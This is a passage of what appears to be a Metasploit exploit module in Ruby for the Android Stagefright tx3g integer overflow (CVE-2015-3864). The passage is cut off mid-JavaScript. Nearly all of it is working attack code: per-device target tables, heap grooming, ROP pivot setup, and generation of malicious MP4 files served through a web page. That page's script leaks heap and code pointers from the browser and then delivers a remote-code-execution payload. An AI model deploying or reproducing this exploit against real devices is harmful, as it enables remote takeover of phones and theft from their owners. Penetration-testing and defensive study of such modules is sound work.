##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Android Stagefright MP4 tx3g Integer Overflow",
'Description' => %q{
This module exploits a integer overflow vulnerability in the Stagefright
Library (libstagefright.so). The vulnerability occurs when parsing specially
crafted MP4 files. While a wide variety of remote attack vectors exist, this
particular exploit is designed to work within an HTML5 compliant browser.
Exploitation is done by supplying a specially crafted MP4 file with two
tx3g atoms that, when their sizes are summed, cause an integer overflow when
processing the second atom. As a result, a temporary buffer is allocated
with insufficient size and a memcpy call leads to a heap overflow.
This version of the exploit uses a two-stage information leak based on
corrupting the MetaData that the browser reads from mediaserver. This method
is based on a technique published in NorthBit's Metaphor paper. First,
we use a variant of their technique to read the address of a heap buffer
located adjacent to a SampleIterator object as the video HTML element's
videoHeight. Next, we read the vtable pointer from an empty Vector within
the SampleIterator object using the video element's duration. This gives
us a code address that we can use to determine the base address of
libstagefright and construct a ROP chain dynamically.
NOTE: the mediaserver process on many Android devices (Nexus, for example) is
constrained by SELinux and thus cannot use the execve system call. To avoid
this problem, the original exploit uses a kernel exploit payload that disables
SELinux and spawns a shell as root. Work is underway to make the framework
more amenable to these types of situations. Until that work is complete, this
exploit will only yield a shell on devices without SELinux or with SELinux in
permissive mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Exodus/jordan # initial discovery / disclosure
'jduck', # Metasploit module, further infoleak development
'NorthBit' # intiial information leak implementation
],
'References' =>
[
[ 'CVE', '2015-3864' ],
[ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
[ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
[ 'URL', 'https://github.com/NorthBit/Metaphor' ],
# Not used, but related
[ 'URL', 'http://drops.wooyun.org/papers/7558' ],
[ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
},
#'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
'Targets' =>
[
[ 'Automatic', {} ],
#
# Each target includes information about the device, firmware, and
# how exactly to about exploiting it.
#
# Primarily, these targets are used to map a browser's User-Agent to
# exploit specifics for that device / build.
#
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX21P',
'Release' => '5.0',
'Rop' => 'lrx',
'SprayAddress' => 0xb1508000
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48G',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48B',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47E',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28E',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28E'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47M',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47Z',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48C',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28J',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28J'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48E',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
{
'Model' => 'SM-G900V',
'Build' => 'LRX21T',
'Release' => '5.0',
'Rop' => 'sm-g900v / OE1',
'SprayAddress' => 0xaf008000,
'SampleIteratorSize' => 0xa8,
'VectorSize' => 0xec
}
]
],
'Privileged' => true,
'DisclosureDate' => "Aug 13 2015",
'DefaultTarget' => 0))
=begin
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
=end
end
def exploit
@peers = {}
super
end
def get_target(request)
agent = request.headers['User-Agent']
self.targets.each do |t|
next if t.name == 'Automatic'
regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
return t if (agent =~ /#{regexp}/)
end
return nil
end
#
# Construct a page worth of data that we'll spray
#
# NOTE: The data within is target-specific
#
def build_spray(my_target, peer, spray_addr)
# Initialize the page to a reasonable state.
page = ''
page = rand_text(4096)
# Load target-based exploit-specific variables
details = get_details(my_target)
return nil if details.nil?
# Calculate the libstagefright.so base address
vector_rva = details['VectorRVA']
vector_ptr = peer[:vector_vtable_addr]
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)
# If we smash mDataSource, this ends up controlling the program counter!!
=begin
0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0]
0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0]
0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0]
0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4]
0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28]
0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10]
0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6
0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40
=end
# Initialize our pivot values and adjust them to libstagefright's base.
# First, load r0 (pointer to our buffer) into some register..
mds_pivot1 = libsf_base + details['Pivot1']
# Next, load sp (and probably other stuff) from there
mds_pivot2 = libsf_base + details['Pivot2']
# Finally, skip over some stuff and kick of the ROP chain
mds_adjust = libsf_base + details['Adjust']
# The offset to the ROP change beginning
rop_start_off = 0x30
# Point sp to the remainder of the ROP chain
new_sp = spray_addr + rop_start_off
# Sometimes the spray isn't aligned perfectly, this fixes that situation...
unalign_off = 0x998
new_sp2 = new_sp + 0x1000 - unalign_off
# This pointer should point to the beginning of the shellcode payload
payload_ptr = spray_addr + 0xa0
# Put the stack back!
stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp
# Depending on the pivot strategy in use, we have to set things up slightly
# differently...
#
# In each case, we use a two-stage pivot that reads the spray address from
# r0 (we smashed that, remember).
#
# The addroffs array is used to map values to the offsets where the pivots
# expect them to be.
#
case details['PivotStrategy']
when 'lrx'
addroffs = [
[ 0x0, new_sp ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
]
# Since we are only popping one item in pivot2, we reduce the rop_start_off
rop_start_off -= 4
# Adjust the payload pointer
payload_ptr -= 4
when 'lmy-1'
addroffs = [
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
when 'lmy-2'
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp
when 'lyz'
ptr_to_mds_pivot2 = spray_addr + 0x8
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
[ 0x24, new_sp ],
# lr is at 0x28!
[ 0x2c, mds_adjust ]
]
# We can't fix it becuse we don't know where the original stack is anymore :-/
stack_fix = ""
when 'sm-g900v'
addroffs = [
[ 0x4, mds_adjust ],
[ 0x10, new_sp ],
[ 0x1c, mds_pivot1 ],
[ 0x20, mds_pivot2 ]
]
else
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
return nil
end
# We need our ROP to build the page... Create it.
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
# Fix up the payload pointer in the ROP
idx = rop.index([ 0xc600613c ].pack('V'))
rop[idx, 4] = [ payload_ptr ].pack('V')
# Insert the ROP
page[rop_start_off, rop.length] = rop
# Insert the special values...
addroffs.each do |ao|
off,addr = ao
page[off,4] = [ addr ].pack('V')
# Sometimes the spray isn't aligned perfectly...
if addr == new_sp
page[off+unalign_off,4] = [ new_sp2 ].pack('V')
else
page[off+unalign_off,4] = [ addr ].pack('V')
end
end
page
end
#
# MPEG-4 specific functionality
#
def get_atom(tag, data='', length=nil)
if tag.length != 4
raise 'Yo! They call it "FourCC" for a reason.'
end
length ||= data.length + 8
if length >= 2**32
return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
end
[ [ length ].pack('N'), tag, data ].join
end
def get_stsc(num)
stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets
stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
get_atom('stsc', stsc_data)
end
def get_ftyp
# Build the MP4 header...
ftyp = 'mp42'
ftyp << [ 0 ].pack('N')
ftyp << 'mp42'
ftyp << 'isom'
get_atom('ftyp', ftyp)
end
def get_pssh(alloc_size)
pssh_data = ''
pssh_data << [ 0 ].pack('N')
pssh_data << [ 0, 0, 0, 0 ].pack('N*')
pssh_data << [ alloc_size ].pack('N')
alloc_size.times do |off|
pssh_data << [ 0x55aa0000 + off ] .pack('V')
end
get_atom('pssh', pssh_data)
end
def get_metaitem(tag, type, data)
ret = ''
ret << tag.reverse
ret << type.reverse
case type
when 'in32'
ret << [ 4, data ].pack('V*')
when 'in64'
ret << [ 8, data ].pack('V*')
else
raise "How do you expect me to make a #{type.inspect} ??"
end
ret
end
def jemalloc_round(sz)
# These are in the 16-byte aligned runs
if (sz > 0x10 && sz <= 0x80)
round = 16
# 160 starts the 32-byte aligned runs
elsif (sz > 0x80 && sz <= 0x140)
round = 32
else
raise "Don't know how to round 0x%x" % sz
end
ret = (sz + (round - 1)) / round
ret *= round
return ret
end
#
# Leak data from mediaserver back to the browser!
#
# Stage 1 - leak a heap pointer near a SampleIterator object
# Stage 2 - read a code pointer from the SampleIterator object
#
def get_mp4_leak(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
sampiter_alloc_size = 0x78
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
sampiter_rounded = jemalloc_round(sampiter_alloc_size)
vector_alloc_size = 0x8c
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
groom_count = 0x10
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')
# Coerce the heap into a favorable shape (fill holes)
shape_vector = get_pssh(vector_alloc_size)
# Allocate a block of memory of the correct size
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))
# Make the first tx3g chunk, which is meant to overflow into a MetaData array.
# We account for the overhead of both chunks here and aim for this layout:
#
# placeholder after re-allocation | vector array data
# <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
#
# Realistically, tx3g1_padding can be any number that rounds up to the
# correct size class.
tx3g1_overhead = 0x8
tx3g2_overhead = 0x10
tx3g_target = jemalloc_round(vector_alloc_size)
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
tx3g_data = 'x' * tx3g1_padding
tx3g_1 = get_atom('tx3g', tx3g_data)
# NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
# avcC was in the initial commit.
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)
# Craft the data that will overwrite the header and part of the MetaData
# array...
more_data = ''
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')
# Now add the thing(s) we want to control (partially)
#
# We add some BS entries just to kill the real 'heig' and get proper
# ordering...
near_sampiter_addr = peer[:near_sampiter_addr]
if near_sampiter_addr.nil?
# Part 1. Leak the address of a chunk that should be adjacent to a
# SampleIterator object.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, abc1, abc2, abc3, heig...
more_data << get_metaitem('dmcE', 'in32', 1)
more_data << get_metaitem('abc1', 'in32', 31335)
more_data << get_metaitem('abc2', 'in32', 31336)
end
# On Nexus:
# Before: heig, hvcc, inpS, mime, text, widt
# After: abc3, heig...
more_data << get_metaitem('abc3', 'in32', 31337)
# NOTE: We only use the first 12 bytes so that we don't overwrite the
# pointer that is already there!
heig = get_metaitem('heig', 'in32', 31338)
more_data << heig[0,12]
else
# Part 2. Read from the specified address, as with the original Metaphor
# exploit.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, dura, ...
more_data << get_metaitem('dmcE', 'in32', 1)
else
# On Nexus:
# Before: avcc, heig, inpS, mime, text, widt
# After: dura, ...
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
end
# Try to read the mCurrentChunkSampleSizes vtable ptr within a
# SampleIterator object. This only works because the Vector is empty thus
# passing the restrictions imposed by the duration conversion.
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
end
# The tx3g2 then needs to trigger the integer overflow, but can contain any
# contents. The overflow will terminate at the end of the file.
#
# NOTE: The second tx3g chunk's overhead ends up in the slack space between
# the replaced placeholder and the MetaData Vector contents.
big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
tx3g_2 = get_atom('tx3g', more_data, big_num)
# Create a minimal, verified 'trak' to satisfy mLastTrack being set
stbl_data = get_stsc(1)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
stbl = get_atom('stbl', stbl_data)
verified_trak = get_atom('trak', stbl)
# Start putting it all together into a track.
trak_data = ''
if is_samsung
# Put some legitimate duration information so we know if we failed
mdhd_data = [ 0 ].pack('N') # version
mdhd_data << "\x00" * 8 # padding
mdhd_data << [ 1 ].pack('N') # timescale
mdhd_data << [ 314 ].pack('N') # duration
mdhd_data << [ 0 ].pack('n') # lang
trak_data << get_atom('mdhd', mdhd_data)
end
# Add this so that our file is identified as video/mp4
mp4v_data = ''
mp4v_data << [ 0 ].pack('C') * 24 # padding
mp4v_data << [ 1024 ].pack('n') # width
mp4v_data << [ 768 ].pack('n') # height
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding
trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true
# Here, we cause allocations such that we can replace the placeholder...
if is_samsung
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
trak_data << stbl # Cause the growth of the track->meta Vector
else
trak_data << stbl # Cause the growth of the track->meta Vector
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
end
# Add the thing whose entry in the MetaData vector we want to overwrite...
trak_data << near_sampiter
# Get our overflow data into memory
trigger = ''
trigger << tx3g_1
# Free the place holder
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))
# Overflow the temporary buffer into the following MetaData array
trigger << tx3g_2
# !!! NOTE !!!
# On Samsung devices, the failure that causes ERR to be returned from
# 'tx3g' processing leads to "skipTrack" being set. This means our
# nasty track and it's metadata get deleted and not returned to the
# browser -- effectively killing the infoleak.
#
# However! It also handles "skipTrack" being set specially and does not
# immediately propagate the error to the caller. Instead, it returns OK.
# This allows us to triggering the bug multiple times in one file, or --
# as we have in this case -- survive after and return successfully.
if is_samsung
# Add this as a nested track!
trak_data << get_atom('trak', trigger)
else
trak_data << trigger
end
trak = get_atom('trak', trak_data)
# On Samsung devices, we could put more chunks here but they will
# end up smashing the temporary buffer further...
chunks = []
chunks << get_ftyp()
chunks << get_atom('moov')
chunks << verified_trak * 0x200
chunks << shape_vector * groom_count
chunks << trak
mp4 = chunks.join
mp4
end
def get_mp4_rce(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
chunks = []
chunks << get_ftyp()
# Note, this causes a few allocations
moov_data = ''
mvhd_data = [ 0, 0x41414141 ].pack('N*')
mvhd_data << 'B' * 0x5c
moov_data << get_atom('mvhd', mvhd_data)
# Add a minimal, verified 'trak' to satisfy mLastTrack being set
verified_trak = ''
stbl_data = get_stsc(0x28)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
verified_trak << get_atom('trak', get_atom('stbl', stbl_data))
# Add it to the file
moov_data << verified_trak
# The spray_addr field is typically determined empirically (by testing), but
# has proven to be fairly predictable (99%). However, it does vary from
# one device to the next (probably determined by the pre-loaded libraries).
spray_addr = 0xb0c08000
spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?
# Construct a single page that we will spray
page = build_spray(my_target, peer, spray_addr)
return nil if page.nil?
# Build a big block full of spray pages and and put it in an avcC chunk
# (but don't add it to the 'moov' yet)
spray = page * (((16 * 1024 * 1024) / page.length) - 20)
avcc = get_atom('avcC', spray)
# Make the nasty trak
tkhd1 = ''
tkhd1 << [ 0 ].pack('C') # version
tkhd1 << 'D' * 3 # padding
tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration
tkhd1 << 'F' * 0x10 # ??
tkhd1 << [
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0 # dy
].pack('N*')
tkhd1 << 'G' * 0x14 # ??
# Add the tkhd (track header) to the nasty track
trak1 = ''
trak1 << get_atom('tkhd', tkhd1)
# Build and add the 'mdia' (Media information) to the nasty track
mdia1 = ''
mdhd1 = [ 0 ].pack('C') # version
mdhd1 << 'D' * 0x17 # padding
mdia1 << get_atom('mdhd', mdhd1)
mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler
dinf1 = ''
dinf1 << get_atom('dref', 'H' * 0x14) # Data information box
minf1 = ''
minf1 << get_atom('smhd', 'G' * 0x08)
minf1 << get_atom('dinf', dinf1)
stbl1 = get_stsc(2)
minf1 << get_atom('stbl', stbl1)
mdia1 << get_atom('minf', minf1)
trak1 << get_atom('mdia', mdia1)
# Add something to take up a slot in the 0x20 size range
# NOTE: We have to be able to free this later...
block = 'Q' * 0x1c
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Add a Track (hopefully right after)
trak1 << verified_trak
# Add the avcC chunk with the heap spray. We add it here so it's sure to be
# allocated when we get control of the program counter...
trak1 << avcc
# Build the first of the nasty pair of tx3g chunks that trigger the
# vulnerability
alloc_size = 0x20
overflow_size = 0xc0
overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_1 = get_atom('tx3g', overflow)
trak1 << tx3g_1
# Free the original thing and put the tx3g temporary in it's place...
block = 'R' * 0x40
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Make the second one, which triggers the integer overflow
big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_2 = get_atom('tx3g', more_data, big_num)
trak1 << tx3g_2
# Add the nasty track to the moov data
moov_data << get_atom('trak', trak1)
# Finalize the moov chunk
moov = get_atom('moov', moov_data)
chunks << moov
# Combine outer chunks together and voila.
mp4 = chunks.join
mp4
end
def on_request_uri(cli, request)
# If the request is for an mp4 file, we need to get the target from the @peers hash
if request.uri =~ /\.mp4\?/i
mp4_fn = request.uri.split('/')[-1]
mp4_fn = mp4_fn.split('?')[0]
mp4_fn[-4,4] = ''
peer = @peers[mp4_fn]
my_target = nil
my_target = peer[:target] if peer
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
return
end
# Extract the address(s) we just leaked...
sia_addr = request.qstring['sia'].to_i # near_sampiter data address
peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr
peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
# reset after a crash..
if sia_addr == 0 && sfv_addr == 0
peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
end
# Always use this header
out_hdrs = {'Content-Type'=>'video/mp4'}
if peer[:vector_vtable_addr].nil?
# Generate the nasty MP4 to leak infoz
mode = "infoleak"
mp4 = get_mp4_leak(my_target, peer)
else
mode = "RCE"
mp4 = get_mp4_rce(my_target, peer)
if mp4.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
return
end
end
# Send the nasty MP4 file to trigger the vulnerability
if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
mp4 = Rex::Text.gzip(mp4)
out_hdrs.merge!('Content-Encoding' => 'gzip')
gzip = "gzip'd"
else
gzip = "raw"
end
client = "Browser"
if request.headers['User-Agent'].include? 'stagefright'
client = "SF"
end
addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]
print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")
# Send the nastiness!
send_response(cli, mp4, out_hdrs)
return
end
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
return
end
vprint_status("Target selected: #{my_target.name}")
end
# Generate an MP4 filename for this peer
mp4_fn = rand_text_alpha(11)
# Save the target for when they come back asking for this file
# Also initialize the leak address to the first one
@peers[mp4_fn] = { :target => my_target }
# Send the index page
mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video; // the video tag
var to_id; // timeout ID
var req_start; // when we requested the video
var load_start; // when we loaded the video
// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;
function duration_changed() {
var now = Date.now();
var req_time = now - req_start;
var load_time = now - load_start;
console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
if (load_time > 2000) {
// probably crashed. reset the entire process..
near_sampiter_addr = -1;
vector_vtable_addr = -1;
waitTime = 6000;
crashes += 1;
if (crashes > 5) {
console.log('too many crashes!!!');
stop_everything();
}
}
else {
// if we got the near_sampiter_addr already, we are now trying to read the code pointer.
// otherwise, we're trying to find near_sampiter_addr...
if (near_sampiter_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.videoHeight != 768) { // XXX: TODO: parameterize
if (video.videoHeight != 0) { // wtf? crashed??
value = video.videoHeight;
console.log('leaked heap pointer: 0x' + value.toString(16));
near_sampiter_addr = value;
}
}
} else if (vector_vtable_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.duration != 314) { // XXX: TODO: parameterize
// zero means a value that could not be represented...
if (video.duration != 0) {
var value = Math.round(video.duration * 1000000);
console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));
vector_vtable_addr = value;
}
}
}
// otherwise, we just keep trying with the data we have...
}
if (error == false) {
if (vector_vtable_addr == -1) {
to_id = setTimeout(reload_leak, waitTime);
} else {
to_id = setTimeout(reload_rce, waitTime);
}
waitTime = 100;
}
}
function stop_everything() {
if (error == false) {
console.log('---- GIVING UP!! ----');
error = true;
}
if (to_id != -1) {
clearTimeout(to_id);
}
}
function start() {
video = document.getElementById('vid');
video.onerror = function() {
console.log(' onError called!');
stop_everything();
}
video.ondurationchange = duration_changed;
//reload_rce();
reload_leak();
}
function get_uri() {
var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
var uri = '#{mp4_uri}?x=' + rn;
if (near_sampiter_addr != -1) {
uri += '&sia=' + near_sampiter_addr;
}
